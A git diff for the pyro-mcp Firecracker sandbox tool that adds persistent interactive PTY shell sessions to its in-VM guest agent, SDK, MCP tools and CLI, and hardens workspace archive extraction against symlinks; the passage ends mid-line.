@@ [project] name = "pyro-mcp" -version = "2.4.0" +version = "2.5.0" description = "Ephemeral Firecracker sandboxes with curated environments, persistent workspaces, and MCP tools." readme = "README.md" license = { file = "LICENSE" } diff --git a/runtime_sources/linux-x86_64/guest/pyro_guest_agent.py b/runtime_sources/linux-x86_64/guest/pyro_guest_agent.py index d914fc1..03ff492 100644 --- a/runtime_sources/linux-x86_64/guest/pyro_guest_agent.py +++ b/runtime_sources/linux-x86_64/guest/pyro_guest_agent.py @@ -1,14 +1,21 @@ #!/usr/bin/env python3 -"""Minimal guest-side exec and workspace import agent for pyro runtime bundles.""" +"""Guest-side exec, workspace import, and interactive shell agent.""" from __future__ import annotations +import codecs +import fcntl import io import json import os +import pty +import signal import socket +import struct import subprocess import tarfile +import termios +import threading import time from pathlib import Path, PurePosixPath from typing import Any @@ -16,6 +23,17 @@ from typing import Any PORT = 5005 BUFFER_SIZE = 65536 WORKSPACE_ROOT = PurePosixPath("/workspace") +SHELL_ROOT = Path("/run/pyro-shells") +SHELL_SIGNAL_MAP = { + "HUP": signal.SIGHUP, + "INT": signal.SIGINT, + "TERM": signal.SIGTERM, + "KILL": signal.SIGKILL, +} +SHELL_SIGNAL_NAMES = tuple(SHELL_SIGNAL_MAP) + +_SHELLS: dict[str, "GuestShellSession"] = {} +_SHELLS_LOCK = threading.Lock() def _read_request(conn: socket.socket) -> dict[str, Any]: @@ -77,10 +95,15 @@ def _normalize_destination(destination: str) -> tuple[PurePosixPath, Path]: suffix = normalized.relative_to(WORKSPACE_ROOT) host_path = Path("/workspace") if str(suffix) not in {"", "."}: - host_path = host_path / str(suffix) + host_path = host_path.joinpath(*suffix.parts) return normalized, host_path +def _normalize_shell_cwd(cwd: str) -> tuple[str, Path]: + normalized, host_path = _normalize_destination(cwd) + return str(normalized), host_path + + def _validate_symlink_target(member_path: PurePosixPath, link_target: str) -> None: target = link_target.strip() if target == "": @@ -106,18 +129,18 @@ def _ensure_no_symlink_parents(root: Path, target_path: Path, member_name: str) def _extract_archive(payload: bytes, destination: str) -> dict[str, Any]: - _, destination_root = _normalize_destination(destination) + normalized_destination, destination_root = _normalize_destination(destination) destination_root.mkdir(parents=True, exist_ok=True) bytes_written = 0 entry_count = 0 with tarfile.open(fileobj=io.BytesIO(payload), mode="r:*") as archive: for member in archive.getmembers(): member_name = _normalize_member_name(member.name) - target_path = destination_root / str(member_name) + target_path = destination_root.joinpath(*member_name.parts) entry_count += 1 _ensure_no_symlink_parents(destination_root, target_path, member.name) if member.isdir(): - if target_path.exists() and not target_path.is_dir(): + if target_path.is_symlink() or (target_path.exists() and not target_path.is_dir()): raise RuntimeError(f"directory conflicts with existing path: {member.name}") target_path.mkdir(parents=True, exist_ok=True) continue @@ -151,7 +174,7 @@ def _extract_archive(payload: bytes, destination: str) -> dict[str, Any]: ) raise RuntimeError(f"unsupported archive member type: {member.name}") return { - "destination": destination, + "destination": str(normalized_destination), "entry_count": entry_count, "bytes_written": bytes_written, } @@ -182,7 +205,323 @@ def _run_command(command: str, timeout_seconds: int) -> dict[str, Any]: } +def _set_pty_size(fd: int, rows: int, cols: int) -> None: + winsize = struct.pack("HHHH", rows, cols, 0, 0) + fcntl.ioctl(fd, termios.TIOCSWINSZ, winsize) + + +class GuestShellSession: + """In-guest PTY-backed interactive shell session.""" + + def __init__( + self, + *, + shell_id: str, + cwd: Path, + cwd_text: str, + cols: int, + rows: int, + ) -> None: + self.shell_id = shell_id + self.cwd = cwd_text + self.cols = cols + self.rows = rows + self.started_at = time.time() + self.ended_at: float | None = None + self.exit_code: int | None = None + self.state = "running" + self._lock = threading.RLock() + self._output = "" + self._decoder = codecs.getincrementaldecoder("utf-8")("replace") + self._metadata_path = SHELL_ROOT / f"{shell_id}.json" + self._log_path = SHELL_ROOT / f"{shell_id}.log" + self._master_fd: int | None = None + + master_fd, slave_fd = pty.openpty() + try: + _set_pty_size(slave_fd, rows, cols) + env = os.environ.copy() + env.update( + { + "TERM": env.get("TERM", "xterm-256color"), + "PS1": "pyro$ ", + "PROMPT_COMMAND": "", + } + ) + process = subprocess.Popen( # noqa: S603 + ["/bin/bash", "--noprofile", "--norc", "-i"], + stdin=slave_fd, + stdout=slave_fd, + stderr=slave_fd, + cwd=str(cwd), + env=env, + text=False, + close_fds=True, + preexec_fn=os.setsid, + ) + except Exception: + os.close(master_fd) + raise + finally: + os.close(slave_fd) + + self._process = process + self._master_fd = master_fd + self._write_metadata() + self._reader = threading.Thread(target=self._reader_loop, daemon=True) + self._waiter = threading.Thread(target=self._waiter_loop, daemon=True) + self._reader.start() + self._waiter.start() + + def summary(self) -> dict[str, Any]: + with self._lock: + return { + "shell_id": self.shell_id, + "cwd": self.cwd, + "cols": self.cols, + "rows": self.rows, + "state": self.state, + "started_at": self.started_at, + "ended_at": self.ended_at, + "exit_code": self.exit_code, + } + + def read(self, *, cursor: int, max_chars: int) -> dict[str, Any]: + with self._lock: + clamped_cursor = min(max(cursor, 0), len(self._output)) + output = self._output[clamped_cursor : clamped_cursor + max_chars] + next_cursor = clamped_cursor + len(output) + payload = self.summary() + payload.update( + { + "cursor": clamped_cursor, + "next_cursor": next_cursor, + "output": output, + "truncated": next_cursor < len(self._output), + } + ) + return payload + + def write(self, text: str, *, append_newline: bool) -> dict[str, Any]: + if self._process.poll() is not None: + self._refresh_process_state() + with self._lock: + if self.state != "running": + raise RuntimeError(f"shell {self.shell_id} is not running") + master_fd = self._master_fd + if master_fd is None: + raise RuntimeError(f"shell {self.shell_id} transport is unavailable") + payload = text + ("\n" if append_newline else "") + try: + os.write(master_fd, payload.encode("utf-8")) + except OSError as exc: + self._refresh_process_state() + raise RuntimeError(f"failed to write shell input: {exc}") from exc + response = self.summary() + response.update({"input_length": len(text), "append_newline": append_newline}) + return response + + def send_signal(self, signal_name: str) -> dict[str, Any]: + signum = SHELL_SIGNAL_MAP.get(signal_name) + if signum is None: + raise ValueError(f"unsupported shell signal: {signal_name}") + if self._process.poll() is not None: + self._refresh_process_state() + with self._lock: + if self.state != "running": + raise RuntimeError(f"shell {self.shell_id} is not running") + pid = self._process.pid + try: + os.killpg(pid, signum) + except ProcessLookupError as exc: + self._refresh_process_state() + raise RuntimeError(f"shell {self.shell_id} is not running") from exc + response = self.summary() + response["signal"] = signal_name + return response + + def close(self) -> dict[str, Any]: + if self._process.poll() is None: + try: + os.killpg(self._process.pid, signal.SIGHUP) + except ProcessLookupError: + pass + try: + self._process.wait(timeout=5) + except subprocess.TimeoutExpired: + try: + os.killpg(self._process.pid, signal.SIGKILL) + except ProcessLookupError: + pass + self._process.wait(timeout=5) + else: + self._refresh_process_state() + self._close_master_fd() + if self._reader is not None: + self._reader.join(timeout=1) + if self._waiter is not None: + self._waiter.join(timeout=1) + response = self.summary() + response["closed"] = True + return response + + def _reader_loop(self) -> None: + master_fd = self._master_fd + if master_fd is None: + return + while True: + try: + chunk = os.read(master_fd, BUFFER_SIZE) + except OSError: + break + if chunk == b"": + break + decoded = self._decoder.decode(chunk) + if decoded == "": + continue + with self._lock: + self._output += decoded + with self._log_path.open("a", encoding="utf-8") as handle: + handle.write(decoded) + decoded = self._decoder.decode(b"", final=True) + if decoded != "": + with self._lock: + self._output += decoded + with self._log_path.open("a", encoding="utf-8") as handle: + handle.write(decoded) + + def _waiter_loop(self) -> None: + exit_code = self._process.wait() + with self._lock: + self.state = "stopped" + self.exit_code = exit_code + self.ended_at = time.time() + self._write_metadata() + + def _refresh_process_state(self) -> None: + exit_code = self._process.poll() + if exit_code is None: + return + with self._lock: + if self.state == "running": + self.state = "stopped" + self.exit_code = exit_code + self.ended_at = time.time() + self._write_metadata() + + def _write_metadata(self) -> None: + self._metadata_path.parent.mkdir(parents=True, exist_ok=True) + self._metadata_path.write_text(json.dumps(self.summary(), indent=2), encoding="utf-8") + + def _close_master_fd(self) -> None: + with self._lock: + master_fd = self._master_fd + self._master_fd = None + if master_fd is None: + return + try: + os.close(master_fd) + except OSError: + pass + + +def _create_shell( + *, + shell_id: str, + cwd_text: str, + cols: int, + rows: int, +) -> GuestShellSession: + _, cwd_path = _normalize_shell_cwd(cwd_text) + with _SHELLS_LOCK: + if shell_id in _SHELLS: + raise RuntimeError(f"shell {shell_id!r} already exists") + session = GuestShellSession( + shell_id=shell_id, + cwd=cwd_path, + cwd_text=cwd_text, + cols=cols, + rows=rows, + ) + _SHELLS[shell_id] = session + return session + + +def _get_shell(shell_id: str) -> GuestShellSession: + with _SHELLS_LOCK: + try: + return _SHELLS[shell_id] + except KeyError as exc: + raise RuntimeError(f"shell {shell_id!r} does not exist") from exc + + +def _remove_shell(shell_id: str) -> GuestShellSession: + with _SHELLS_LOCK: + try: + return _SHELLS.pop(shell_id) + except KeyError as exc: + raise RuntimeError(f"shell {shell_id!r} does not exist") from exc + + +def _dispatch(request: dict[str, Any], conn: socket.socket) -> dict[str, Any]: + action = str(request.get("action", "exec")) + if action == "extract_archive": + archive_size = int(request.get("archive_size", 0)) + if archive_size < 0: + raise RuntimeError("archive_size must not be negative") + destination = str(request.get("destination", "/workspace")) + payload = _read_exact(conn, archive_size) + return _extract_archive(payload, destination) + if action == "open_shell": + shell_id = str(request.get("shell_id", "")).strip() + if shell_id == "": + raise RuntimeError("shell_id is required") + cwd_text, _ = _normalize_shell_cwd(str(request.get("cwd", "/workspace"))) + session = _create_shell( + shell_id=shell_id, + cwd_text=cwd_text, + cols=int(request.get("cols", 120)), + rows=int(request.get("rows", 30)), + ) + return session.summary() + if action == "read_shell": + shell_id = str(request.get("shell_id", "")).strip() + if shell_id == "": + raise RuntimeError("shell_id is required") + return _get_shell(shell_id).read( + cursor=int(request.get("cursor", 0)), + max_chars=int(request.get("max_chars", 65536)), + ) + if action == "write_shell": + shell_id = str(request.get("shell_id", "")).strip() + if shell_id == "": + raise RuntimeError("shell_id is required") + return _get_shell(shell_id).write( + str(request.get("input", "")), + append_newline=bool(request.get("append_newline", True)), + ) + if action == "signal_shell": + shell_id = str(request.get("shell_id", "")).strip() + if shell_id == "": + raise RuntimeError("shell_id is required") + signal_name = str(request.get("signal", "INT")).upper() + if signal_name not in SHELL_SIGNAL_NAMES: + raise RuntimeError( + f"signal must be one of: {', '.join(SHELL_SIGNAL_NAMES)}" + ) + return _get_shell(shell_id).send_signal(signal_name) + if action == "close_shell": + shell_id = str(request.get("shell_id", "")).strip() + if shell_id == "": + raise RuntimeError("shell_id is required") + return _remove_shell(shell_id).close() + command = str(request.get("command", "")) + timeout_seconds = int(request.get("timeout_seconds", 30)) + return _run_command(command, timeout_seconds) + + def main() -> None: + SHELL_ROOT.mkdir(parents=True, exist_ok=True) family = getattr(socket, "AF_VSOCK", None) if family is None: raise SystemExit("AF_VSOCK is unavailable") @@ -192,19 +531,11 @@ def main() -> None: while True: conn, _ = server.accept() with conn: - request = _read_request(conn) - action = str(request.get("action", "exec")) - if action == "extract_archive": - archive_size = int(request.get("archive_size", 0)) - if archive_size < 0: - raise RuntimeError("archive_size must not be negative") - destination = str(request.get("destination", "/workspace")) - payload = _read_exact(conn, archive_size) - response = _extract_archive(payload, destination) - else: - command = str(request.get("command", "")) - timeout_seconds = int(request.get("timeout_seconds", 30)) - response = _run_command(command, timeout_seconds) + try: + request = _read_request(conn) + response = _dispatch(request, conn) + except Exception as exc: # noqa: BLE001 + response = {"error": str(exc)} conn.sendall((json.dumps(response) + "\n").encode("utf-8")) diff --git a/src/pyro_mcp/api.py b/src/pyro_mcp/api.py index ac8c0bf..568d089 100644 --- a/src/pyro_mcp/api.py +++ b/src/pyro_mcp/api.py @@ -130,6 +130,67 @@ class Pyro: def logs_workspace(self, workspace_id: str) -> dict[str, Any]: return self._manager.logs_workspace(workspace_id) + def open_shell( + self, + workspace_id: str, + *, + cwd: str = "/workspace", + cols: int = 120, + rows: int = 30, + ) -> dict[str, Any]: + return self._manager.open_shell( + workspace_id, + cwd=cwd, + cols=cols, + rows=rows, + ) + + def read_shell( + self, + workspace_id: str, + shell_id: str, + *, + cursor: int = 0, + max_chars: int = 65536, + ) -> dict[str, Any]: + return self._manager.read_shell( + workspace_id, + shell_id, + cursor=cursor, + max_chars=max_chars, + ) + + def write_shell( + self, + workspace_id: str, + shell_id: str, + *, + input: str, + append_newline: bool = True, + ) -> dict[str, Any]: + return self._manager.write_shell( + workspace_id, + shell_id, + input_text=input, + append_newline=append_newline, + ) + + def signal_shell( + self, + workspace_id: str, + shell_id: str, + *, + signal_name: str = "INT", + ) -> dict[str, Any]: + return self._manager.signal_shell( + workspace_id, + shell_id, + signal_name=signal_name, + ) + + def close_shell(self, workspace_id: str, shell_id: str) -> dict[str, Any]: + return self._manager.close_shell(workspace_id, shell_id) + def delete_workspace(self, workspace_id: str) -> dict[str, Any]: return self._manager.delete_workspace(workspace_id) @@ -309,6 +370,64 @@ class Pyro: """Return persisted command history for one workspace.""" return self.logs_workspace(workspace_id) + @server.tool() + async def shell_open( + workspace_id: str, + cwd: str = "/workspace", + cols: int = 120, + rows: int = 30, + ) -> dict[str, Any]: + """Open a persistent interactive shell inside one workspace.""" + return self.open_shell(workspace_id, cwd=cwd, cols=cols, rows=rows) + + @server.tool() + async def shell_read( + workspace_id: str, + shell_id: str, + cursor: int = 0, + max_chars: int = 65536, + ) -> dict[str, Any]: + """Read merged PTY output from a workspace shell.""" + return self.read_shell( + workspace_id, + shell_id, + cursor=cursor, + max_chars=max_chars, + ) + + @server.tool() + async def shell_write( + workspace_id: str, + shell_id: str, + input: str, + append_newline: bool = True, + ) -> dict[str, Any]: + """Write text input to a persistent workspace shell.""" + return self.write_shell( + workspace_id, + shell_id, + input=input, + append_newline=append_newline, + ) + + @server.tool() + async def shell_signal( + workspace_id: str, + shell_id: str, + signal_name: str = "INT", + ) -> dict[str, Any]: + """Send a signal to the shell process group.""" + return self.signal_shell( + workspace_id, + shell_id, + signal_name=signal_name, + ) + + @server.tool() + async def shell_close(workspace_id: str, shell_id: str) -> dict[str, Any]: + """Close a persistent workspace shell.""" + return self.close_shell(workspace_id, shell_id) + @server.tool() async def workspace_delete(workspace_id: str) -> dict[str, Any]: """Delete a persistent workspace and its backing sandbox.""" diff --git a/src/pyro_mcp/cli.py b/src/pyro_mcp/cli.py index 3fd4eaf..38a592b 100644 --- a/src/pyro_mcp/cli.py +++ b/src/pyro_mcp/cli.py @@ -19,6 +19,7 @@ from pyro_mcp.vm_manager import ( DEFAULT_MEM_MIB, DEFAULT_VCPU_COUNT, WORKSPACE_GUEST_PATH, + WORKSPACE_SHELL_SIGNAL_NAMES, ) @@ -237,6 +238,37 @@ def _print_workspace_logs_human(payload: dict[str, Any]) -> None: print(stderr, end="" if stderr.endswith("\n") else "\n", file=sys.stderr) +def _print_workspace_shell_summary_human(payload: dict[str, Any], *, prefix: str) -> None: + print( + f"[{prefix}] " + f"workspace_id={str(payload.get('workspace_id', 'unknown'))} " + f"shell_id={str(payload.get('shell_id', 'unknown'))} " + f"state={str(payload.get('state', 'unknown'))} " + f"cwd={str(payload.get('cwd', WORKSPACE_GUEST_PATH))} " + f"cols={int(payload.get('cols', 0))} " + f"rows={int(payload.get('rows', 0))} " + f"execution_mode={str(payload.get('execution_mode', 'unknown'))}", + file=sys.stderr, + flush=True, + ) + + +def _print_workspace_shell_read_human(payload: dict[str, Any]) -> None: + _write_stream(str(payload.get("output", "")), stream=sys.stdout) + print( + "[workspace-shell-read] " + f"workspace_id={str(payload.get('workspace_id', 'unknown'))} " + f"shell_id={str(payload.get('shell_id', 'unknown'))} " + f"state={str(payload.get('state', 'unknown'))} " + f"cursor={int(payload.get('cursor', 0))} " + f"next_cursor={int(payload.get('next_cursor', 0))} " + f"truncated={bool(payload.get('truncated', False))} " + f"execution_mode={str(payload.get('execution_mode', 'unknown'))}", + file=sys.stderr, + flush=True, + ) + + class _HelpFormatter( argparse.RawDescriptionHelpFormatter, argparse.ArgumentDefaultsHelpFormatter, @@ -269,6 +301,7 @@ def _build_parser() -> argparse.ArgumentParser: Need repeated commands in one workspace after that? pyro workspace create debian:12 --seed-path ./repo pyro workspace sync push WORKSPACE_ID ./changes + pyro workspace shell open WORKSPACE_ID Use `pyro mcp serve` only after the CLI validation path works. """ @@ -476,6 +509,7 @@ def _build_parser() -> argparse.ArgumentParser: pyro workspace create debian:12 --seed-path ./repo pyro workspace sync push WORKSPACE_ID ./repo --dest src pyro workspace exec WORKSPACE_ID -- sh -lc 'printf "hello\\n" > note.txt' + pyro workspace shell open WORKSPACE_ID pyro workspace logs WORKSPACE_ID """ ), @@ -633,6 +667,191 @@ def _build_parser() -> argparse.ArgumentParser: action="store_true", help="Print structured JSON instead of human-readable output.", ) + workspace_shell_parser = workspace_subparsers.add_parser( + "shell", + help="Open and manage persistent interactive shells.", + description=( + "Open one or more persistent interactive PTY shell sessions inside a started " + "workspace." + ), + epilog=dedent( + """ + Examples: + pyro workspace shell open WORKSPACE_ID + pyro workspace shell write WORKSPACE_ID SHELL_ID --input 'pwd' + pyro workspace shell read WORKSPACE_ID SHELL_ID + pyro workspace shell signal WORKSPACE_ID SHELL_ID --signal INT + pyro workspace shell close WORKSPACE_ID SHELL_ID + + Use `workspace exec` for one-shot commands. Use `workspace shell` when you need + an interactive process that keeps its state between calls. + """ + ), + formatter_class=_HelpFormatter, + ) + workspace_shell_subparsers = workspace_shell_parser.add_subparsers( + dest="workspace_shell_command", + required=True, + metavar="SHELL", + ) + workspace_shell_open_parser = workspace_shell_subparsers.add_parser( + "open", + help="Open a persistent interactive shell.", + description="Open a new PTY shell inside a started workspace.", + epilog="Example:\n pyro workspace shell open WORKSPACE_ID --cwd src", + formatter_class=_HelpFormatter, + ) + workspace_shell_open_parser.add_argument( + "workspace_id", + metavar="WORKSPACE_ID", + help="Persistent workspace identifier.", + ) + workspace_shell_open_parser.add_argument( + "--cwd", + default=WORKSPACE_GUEST_PATH, + help="Shell working directory. Relative values resolve inside `/workspace`.", + ) + workspace_shell_open_parser.add_argument( + "--cols", + type=int, + default=120, + help="Shell terminal width in columns.", + ) + workspace_shell_open_parser.add_argument( + "--rows", + type=int, + default=30, + help="Shell terminal height in rows.", + ) + workspace_shell_open_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) + workspace_shell_read_parser = workspace_shell_subparsers.add_parser( + "read", + help="Read merged PTY output from a shell.", + description="Read merged text output from a persistent workspace shell.", + epilog=dedent( + """ + Example: + pyro workspace shell read WORKSPACE_ID SHELL_ID --cursor 0 + + Shell output is written to stdout. The read summary is written to stderr. + Use --json for a deterministic structured response. + """ + ), + formatter_class=_HelpFormatter, + ) + workspace_shell_read_parser.add_argument( + "workspace_id", + metavar="WORKSPACE_ID", + help="Persistent workspace identifier.", + ) + workspace_shell_read_parser.add_argument( + "shell_id", + metavar="SHELL_ID", + help="Persistent shell identifier returned by `workspace shell open`.", + ) + workspace_shell_read_parser.add_argument( + "--cursor", + type=int, + default=0, + help="Character offset into the merged shell output buffer.", + ) + workspace_shell_read_parser.add_argument( + "--max-chars", + type=int, + default=65536, + help="Maximum number of characters to return from the current cursor position.", + ) + workspace_shell_read_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) + workspace_shell_write_parser = workspace_shell_subparsers.add_parser( + "write", + help="Write text input into a shell.", + description="Write text input into a persistent workspace shell.", + epilog="Example:\n pyro workspace shell write WORKSPACE_ID SHELL_ID --input 'pwd'", + formatter_class=_HelpFormatter, + ) + workspace_shell_write_parser.add_argument( + "workspace_id", + metavar="WORKSPACE_ID", + help="Persistent workspace identifier.", + ) + workspace_shell_write_parser.add_argument( + "shell_id", + metavar="SHELL_ID", + help="Persistent shell identifier returned by `workspace shell open`.", + ) + workspace_shell_write_parser.add_argument( + "--input", + required=True, + help="Text to send to the shell.", + ) + workspace_shell_write_parser.add_argument( + "--no-newline", + action="store_true", + help="Do not append a trailing newline after the provided input.", + ) + workspace_shell_write_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) + workspace_shell_signal_parser = workspace_shell_subparsers.add_parser( + "signal", + help="Send a signal to a shell process group.", + description="Send a control signal to a persistent workspace shell.", + epilog="Example:\n pyro workspace shell signal WORKSPACE_ID SHELL_ID --signal INT", + formatter_class=_HelpFormatter, + ) + workspace_shell_signal_parser.add_argument( + "workspace_id", + metavar="WORKSPACE_ID", + help="Persistent workspace identifier.", + ) + workspace_shell_signal_parser.add_argument( + "shell_id", + metavar="SHELL_ID", + help="Persistent shell identifier returned by `workspace shell open`.", + ) + workspace_shell_signal_parser.add_argument( + "--signal", + default="INT", + choices=WORKSPACE_SHELL_SIGNAL_NAMES, + help="Signal name to send to the shell process group.", + ) + workspace_shell_signal_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) + workspace_shell_close_parser = workspace_shell_subparsers.add_parser( + "close", + help="Close a persistent shell.", + description="Close a persistent workspace shell and release its PTY state.", + epilog="Example:\n pyro workspace shell close WORKSPACE_ID SHELL_ID", + formatter_class=_HelpFormatter, + ) + workspace_shell_close_parser.add_argument( + "workspace_id", + metavar="WORKSPACE_ID", + help="Persistent workspace identifier.", + ) + workspace_shell_close_parser.add_argument( + "shell_id", + metavar="SHELL_ID", + help="Persistent shell identifier returned by `workspace shell open`.", + ) + workspace_shell_close_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) workspace_status_parser = workspace_subparsers.add_parser( "status", help="Inspect one workspace.", @@ -929,6 +1148,99 @@ def main() -> None: raise SystemExit(1) from exc _print_workspace_sync_human(payload) return + if args.workspace_command == "shell": + if args.workspace_shell_command == "open": + try: + payload = pyro.open_shell( + args.workspace_id, + cwd=args.cwd, + cols=args.cols, + rows=args.rows, + ) + except Exception as exc: # noqa: BLE001 + if bool(args.json): + _print_json({"ok": False, "error": str(exc)}) + else: + print(f"[error] {exc}", file=sys.stderr, flush=True) + raise SystemExit(1) from exc + if bool(args.json): + _print_json(payload) + else: + _print_workspace_shell_summary_human(payload, prefix="workspace-shell-open") + return + if args.workspace_shell_command == "read": + try: + payload = pyro.read_shell( + args.workspace_id, + args.shell_id, + cursor=args.cursor, + max_chars=args.max_chars, + ) + except Exception as exc: # noqa: BLE001 + if bool(args.json): + _print_json({"ok": False, "error": str(exc)}) + else: + print(f"[error] {exc}", file=sys.stderr, flush=True) + raise SystemExit(1) from exc + if bool(args.json): + _print_json(payload) + else: + _print_workspace_shell_read_human(payload) + return + if args.workspace_shell_command == "write": + try: + payload = pyro.write_shell( + args.workspace_id, + args.shell_id, + input=args.input, + append_newline=not bool(args.no_newline), + ) + except Exception as exc: # noqa: BLE001 + if bool(args.json): + _print_json({"ok": False, "error": str(exc)}) + else: + print(f"[error] {exc}", file=sys.stderr, flush=True) + raise SystemExit(1) from exc + if bool(args.json): + _print_json(payload) + else: + _print_workspace_shell_summary_human(payload, prefix="workspace-shell-write") + return + if args.workspace_shell_command == "signal": + try: + payload = pyro.signal_shell( + args.workspace_id, + args.shell_id, + signal_name=args.signal, + ) + except Exception as exc: # noqa: BLE001 + if bool(args.json): + _print_json({"ok": False, "error": str(exc)}) + else: + print(f"[error] {exc}", file=sys.stderr, flush=True) + raise SystemExit(1) from exc + if bool(args.json): + _print_json(payload) + else: + _print_workspace_shell_summary_human( + payload, + prefix="workspace-shell-signal", + ) + return + if args.workspace_shell_command == "close": + try: + payload = pyro.close_shell(args.workspace_id, args.shell_id) + except Exception as exc: # noqa: BLE001 + if bool(args.json): + _print_json({"ok": False, "error": str(exc)}) + else: + print(f"[error] {exc}", file=sys.stderr, flush=True) + raise SystemExit(1) from exc + if bool(args.json): + _print_json(payload) + else: + _print_workspace_shell_summary_human(payload, prefix="workspace-shell-close") + return if args.workspace_command == "status": payload = pyro.status_workspace(args.workspace_id) if bool(args.json): diff --git a/src/pyro_mcp/contract.py b/src/pyro_mcp/contract.py index 61335f0..ae2a05c 100644 --- a/src/pyro_mcp/contract.py +++ b/src/pyro_mcp/contract.py @@ -5,7 +5,16 @@ from __future__ import annotations PUBLIC_CLI_COMMANDS = ("demo", "doctor", "env", "mcp", "run", "workspace") PUBLIC_CLI_DEMO_SUBCOMMANDS = ("ollama",) PUBLIC_CLI_ENV_SUBCOMMANDS = ("inspect", "list", "pull", "prune") -PUBLIC_CLI_WORKSPACE_SUBCOMMANDS = ("create", "delete", "exec", "logs", "status", "sync") +PUBLIC_CLI_WORKSPACE_SUBCOMMANDS = ( + "create", + "delete", + "exec", + "logs", + "shell", + "status", + "sync", +) +PUBLIC_CLI_WORKSPACE_SHELL_SUBCOMMANDS = ("close", "open", "read", "signal", "write") PUBLIC_CLI_WORKSPACE_SYNC_SUBCOMMANDS = ("push",) PUBLIC_CLI_WORKSPACE_CREATE_FLAGS = ( "--vcpu-count", @@ -16,6 +25,11 @@ PUBLIC_CLI_WORKSPACE_CREATE_FLAGS = ( "--seed-path", "--json", ) +PUBLIC_CLI_WORKSPACE_SHELL_OPEN_FLAGS = ("--cwd", "--cols", "--rows", "--json") +PUBLIC_CLI_WORKSPACE_SHELL_READ_FLAGS = ("--cursor", "--max-chars", "--json") +PUBLIC_CLI_WORKSPACE_SHELL_WRITE_FLAGS = ("--input", "--no-newline", "--json") +PUBLIC_CLI_WORKSPACE_SHELL_SIGNAL_FLAGS = ("--signal", "--json") +PUBLIC_CLI_WORKSPACE_SHELL_CLOSE_FLAGS = ("--json",) PUBLIC_CLI_WORKSPACE_SYNC_PUSH_FLAGS = ("--dest", "--json") PUBLIC_CLI_RUN_FLAGS = ( "--vcpu-count", @@ -28,6 +42,7 @@ PUBLIC_CLI_RUN_FLAGS = ( ) PUBLIC_SDK_METHODS = ( + "close_shell", "create_server", "create_vm", "create_workspace", @@ -39,18 +54,27 @@ PUBLIC_SDK_METHODS = ( "list_environments", "logs_workspace", "network_info_vm", + "open_shell", "prune_environments", "pull_environment", "push_workspace_sync", + "read_shell", "reap_expired", "run_in_vm", + "signal_shell", "start_vm", "status_vm", "status_workspace", "stop_vm", + "write_shell", ) PUBLIC_MCP_TOOLS = ( + "shell_close", + "shell_open", + "shell_read", + "shell_signal", + "shell_write", "vm_create", "vm_delete", "vm_exec", diff --git a/src/pyro_mcp/runtime_bundle/linux-x86_64/guest/pyro_guest_agent.py b/src/pyro_mcp/runtime_bundle/linux-x86_64/guest/pyro_guest_agent.py index d914fc1..03ff492 100755 --- a/src/pyro_mcp/runtime_bundle/linux-x86_64/guest/pyro_guest_agent.py +++ b/src/pyro_mcp/runtime_bundle/linux-x86_64/guest/pyro_guest_agent.py @@ -1,14 +1,21 @@ #!/usr/bin/env python3 -"""Minimal guest-side exec and workspace import agent for pyro runtime bundles.""" +"""Guest-side exec, workspace import, and interactive shell agent.""" from __future__ import annotations +import codecs +import fcntl import io import json import os +import pty +import signal import socket +import struct import subprocess import tarfile +import termios +import threading import time from pathlib import Path, PurePosixPath from typing import Any @@ -16,6 +23,17 @@ from typing import Any PORT = 5005 BUFFER_SIZE = 65536 WORKSPACE_ROOT = PurePosixPath("/workspace") +SHELL_ROOT = Path("/run/pyro-shells") +SHELL_SIGNAL_MAP = { + "HUP": signal.SIGHUP, + "INT": signal.SIGINT, + "TERM": signal.SIGTERM, + "KILL": signal.SIGKILL, +} +SHELL_SIGNAL_NAMES = tuple(SHELL_SIGNAL_MAP) + +_SHELLS: dict[str, "GuestShellSession"] = {} +_SHELLS_LOCK = threading.Lock() def _read_request(conn: socket.socket) -> dict[str, Any]: @@ -77,10 +95,15 @@ def _normalize_destination(destination: str) -> tuple[PurePosixPath, Path]: suffix = normalized.relative_to(WORKSPACE_ROOT) host_path = Path("/workspace") if str(suffix) not in {"", "."}: - host_path = host_path / str(suffix) + host_path = host_path.joinpath(*suffix.parts) return normalized, host_path +def _normalize_shell_cwd(cwd: str) -> tuple[str, Path]: + normalized, host_path = _normalize_destination(cwd) + return str(normalized), host_path + + def _validate_symlink_target(member_path: PurePosixPath, link_target: str) -> None: target = link_target.strip() if target == "": @@ -106,18 +129,18 @@ def _ensure_no_symlink_parents(root: Path, target_path: Path, member_name: str) def _extract_archive(payload: bytes, destination: str) -> dict[str, Any]: - _, destination_root = _normalize_destination(destination) + normalized_destination, destination_root = _normalize_destination(destination) destination_root.mkdir(parents=True, exist_ok=True) bytes_written = 0 entry_count = 0 with tarfile.open(fileobj=io.BytesIO(payload), mode="r:*") as archive: for member in archive.getmembers(): member_name = _normalize_member_name(member.name) - target_path = destination_root / str(member_name) + target_path = destination_root.joinpath(*member_name.parts) entry_count += 1 _ensure_no_symlink_parents(destination_root, target_path, member.name) if member.isdir(): - if target_path.exists() and not target_path.is_dir(): + if target_path.is_symlink() or (target_path.exists() and not target_path.is_dir()): raise RuntimeError(f"directory conflicts with existing path: {member.name}") target_path.mkdir(parents=True, exist_ok=True) continue @@ -151,7 +174,7 @@ def _extract_archive(payload: bytes, destination: str) -> dict[str, Any]: ) raise RuntimeError(f"unsupported archive member type: {member.name}") return { - "destination": destination, + "destination": str(normalized_destination), "entry_count": entry_count, "bytes_written": bytes_written, } @@ -182,7 +205,323 @@ def _run_command(command: str, timeout_seconds: int) -> dict[str, Any]: } +def _set_pty_size(fd: int, rows: int, cols: int) -> None: + winsize = struct.pack("HHHH", rows, cols, 0, 0) + fcntl.ioctl(fd, termios.TIOCSWINSZ, winsize) + + +class GuestShellSession: + """In-guest PTY-backed interactive shell session.""" + + def __init__( + self, + *, + shell_id: str, + cwd: Path, + cwd_text: str, + cols: int, + rows: int, + ) -> None: + self.shell_id = shell_id + self.cwd = cwd_text + self.cols = cols + self.rows = rows + self.started_at = time.time() + self.ended_at: float | None = None + self.exit_code: int | None = None + self.state = "running" + self._lock = threading.RLock() + self._output = "" + self._decoder = 